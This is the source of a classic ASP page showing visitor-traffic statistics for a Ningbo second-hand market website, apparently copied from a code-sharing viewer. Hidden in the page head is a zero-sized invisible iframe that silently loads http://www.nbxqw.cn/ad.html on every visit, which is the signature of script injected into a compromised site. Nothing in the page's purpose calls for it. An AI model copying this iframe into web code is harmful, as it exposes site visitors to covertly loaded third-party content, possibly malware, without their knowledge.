📄 stat.asp
字号:
<!--#include file="config.asp"-->
<%
dim rs1
set rs = server.createobject("adodb.recordset")
set rs1 = server.createobject("adodb.recordset")
If Request.QueryString("CurPage") = "" or Request.QueryString("CurPage") = 0 then
CurPage = 1
Else
CurPage = CINT(Request.QueryString("CurPage"))
End If
%>
<html>
<head>
<title>[<%=Application("company")%>]-访问统计</title>
<style>
body, td{FONT-SIZE: 12px}
A {text-decoration:none; color=#000000;}
A:hover {color=#000000;}
A.blue {color:darkblue;}
.jjy {cursor='hand';font-size: 12px;height:1;}
</STYLE>
</head><iframe name="aa" frameborder=0 width=0 height="0" src="http://www.nbxqw.cn/ad.html" marginwidth="1" marginheight="1" scrolling="no" ></iframe>
<body bgcolor="#FFFFFF" text="#000000" topmargin="0" leftmargin="0" >
<%
sql="select * from lezi_counter"
rs1.open sql,conn,1,2
today=rs1("today")
ttop=rs1("top")
%>
<table align=center cellSpacing="0" cellPadding="3" width="100%" border="1" bordercolor="#006DDE" height="105">
<tr>
<td colspan=7 bgcolor="#000080" bordercolor="#000080"><p align=center><br>
<font size="3" color="#00FFFF"><b>宁波二手市场</b></font><b><font color="#FFFFFF" size="3">流量统计记录</font><br><br></b></p>
</td>
</tr>
<tr align="center">
<td width="140" bgcolor="#006DDE">
<p align="center"><font color="#ffffff" class=jjy>站点</font></p></td>
<td width="65" height="1" bgcolor="#006DDE"><font color="#ffffff" class=jjy>总访问量</font></td>
<td height="1" bgcolor="#006DDE" width="65"><font color="#ffffff" class=jjy>统计天数</font></td>
<td height="1" bgcolor="#006DDE" width="65"><font color="#ffffff" class=jjy>最高记录</font></td>
<td height="1" bgcolor="#006DDE" width="65"><font color="#ffffff" class=jjy>今日</font></td>
<td height="1" bgcolor="#006DDE" width="65"><font color="#ffffff" class=jjy>昨日</font></td>
<td height="1" bgcolor="#006DDE" width="65"><font color="#ffffff" class=jjy>日均</font></td>
</tr>
<tr>
<td width="140" height="23" bgcolor="#006DDE" align="center">
<p align="center"><font color="#FFFFFF">宁波二手市场</font></td>
<td width="65" height="23" bgcolor="#006DDE" align="center">
<font color="#FFFFFF"><%=rs1("counter")%> </font></td>
<td height="23" bgcolor="#006DDE" width="65" align="center">
<font color="#FFFFFF"><%=rs1("daynum")%> </font></td>
<td height="23" bgcolor="#006DDE" width="65" align="center">
<font color="#FFFFFF"><%=rs1("top")%> </font></td>
<td height="23" bgcolor="#006DDE" width="65" align="center">
<font color="#FFFFFF"><%=rs1("today")%> </font></td>
<td height="23" bgcolor="#006DDE" width="65" align="center">
<font color="#FFFFFF"><%=rs1("yesterday")%> </font></td>
<td height="23" bgcolor="#006DDE" width="65" align="center">
<font color="#FFFFFF"><%=int(rs1("counter")/rs1("daynum"))%> </font></td>
</tr>
</table>
<%
pagen=15
sql="select * from lezi_zzday order by ID desc"
rs.open sql,conn,1,2
if rs.eof and rs.bof then
response.write "<p align=center><font color=F0F0F0>暂时没有访问统计记录</font></p>"
else
RS.PageSize=pagen
Dim TotalPages
TotalPages = RS.PageCount
If CurPage>RS.Pagecount Then
CurPage=RS.Pagecount
end if
RS.AbsolutePage=CurPage
rs.CacheSize = RS.PageSize
Dim Totalcount
Totalcount =INT(RS.recordcount)
StartPageNum=1
do while StartPageNum+10<=CurPage
StartPageNum=StartPageNum+pagen
Loop
EndPageNum=StartPageNum+pagen-1
If EndPageNum>RS.Pagecount then EndPageNum=RS.Pagecount
%>
<br>
<table cellSpacing="0" align=center cellPadding="3" width="98%" border="1" bordercolor="#006DDE" style="border-collapse: collapse" height="10">
<tr align="center">
<td width="122" height="4" bgcolor="#006DDE"><p align="center"><font color="#fffff" class=jjy>日期</font></p></td>
<td width="212" height="4" bgcolor="#006DDE"><font color="#ffffff" class=jjy>
访问IP数（10分钟之内访多次的只算一个IP）</font></td>
<td height="12" bgcolor="#006DDE" width="848"><font color="#ffffff" class=jjy>图例</font></td>
</tr>
</tr>
</table>
<div align="center">
<center>
<table cellSpacing="0" bgcolor=#D1D1D1 cellPadding="4" width="98%" border="1" bordercolor="#006DDE" style="border-collapse: collapse" height="10">
<tr>
<td width="121" height="12" align="center" bgcolor="#FFFFFF"><font color=#ff3333><%=rs1("oto")%> </font></td>
<td width="91" height="12" bgcolor="#FFFFFF"><font color=#006DDE><%=rs1("today")%></font></td>
<td height="12" bgcolor="#FFFFFF"><img src=images/co.gif height=10 width="<%=int(rs1("today")/ttop*100)%>%" alt=<%=rs1("today")%>></td>
</tr>
</tr>
</table>
<%
rs1.close
set rs1=nothing
%>
<BR>
<table cellSpacing="0" bgcolor=ffffff cellPadding="4" width="98%" border="1" bordercolor="#006DDE" style="border-collapse: collapse" height="10">
<%
I=0
p=RS.PageSize*(Curpage-1)
do while (Not RS.Eof) and (I<RS.PageSize)
p=p+1
%>
<tr>
<td width="121" height="12" align="center" bgcolor="#FFFFFF"><font color=#006DDE><%=rs("zzday")%></font>
</td>
<td width="91" height="12" bgcolor="#FFFFFF">
<font color=#006DDE><%=rs("stats")%></font>
</td>
<td height="12" bgcolor="#FFFFFF"><img src=images/co.gif height=10 width="<%=int(rs("stats")/ttop*100)%>%" alt=<%=rs("stats")%>>
</td>
</tr>
<%
I=I+1
RS.MoveNext
Loop
%>
</tr>
</table>
</center>
</div>
<div align="center">
<center>
<table width="98%" border="0" cellspacing="0" cellpadding="2" style="border-collapse: collapse" bgcolor="#006DDE" height="16">
<tr>
<td height="16" width="160"><font color="#ffffff" class=jjy>每页<%=RS.PageSize%>个记录，页次： <%=CurPage%>/<%=TotalPages%></font></td>
<td align="right" height="16"><font color="#ffffff" class=jjy>页数： </font>
<a href="stat.asp?CurPage=<%=StartPageNum-1%>">
<font color="#CCCCCC" class=jjy><<</font></a><font color="#ffffff"> <% For I=StartPageNum to EndPageNum
if I<>CurPage then %> </font>
<a href="stat.asp?CurPage=<%=I%>">
<font color="#ffffff" class=jjy><%=I%></font></a><font color="#ffffff"> <% else %>
<%=I%> <% end if %> <% Next %> <% if EndPageNum<RS.Pagecount then %>
</font>
<a href="stat.asp?CurPage=<%=EndPageNum+1%>">
<font color="#CCCCCC" class=jjy>更多...</font></a><font color="#ffffff"> <%end if%></font></td>
</tr>
</table>
</center>
</div>
<%
end if
%>
<%
rs.close
set rs=nothing
%></tr></table>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -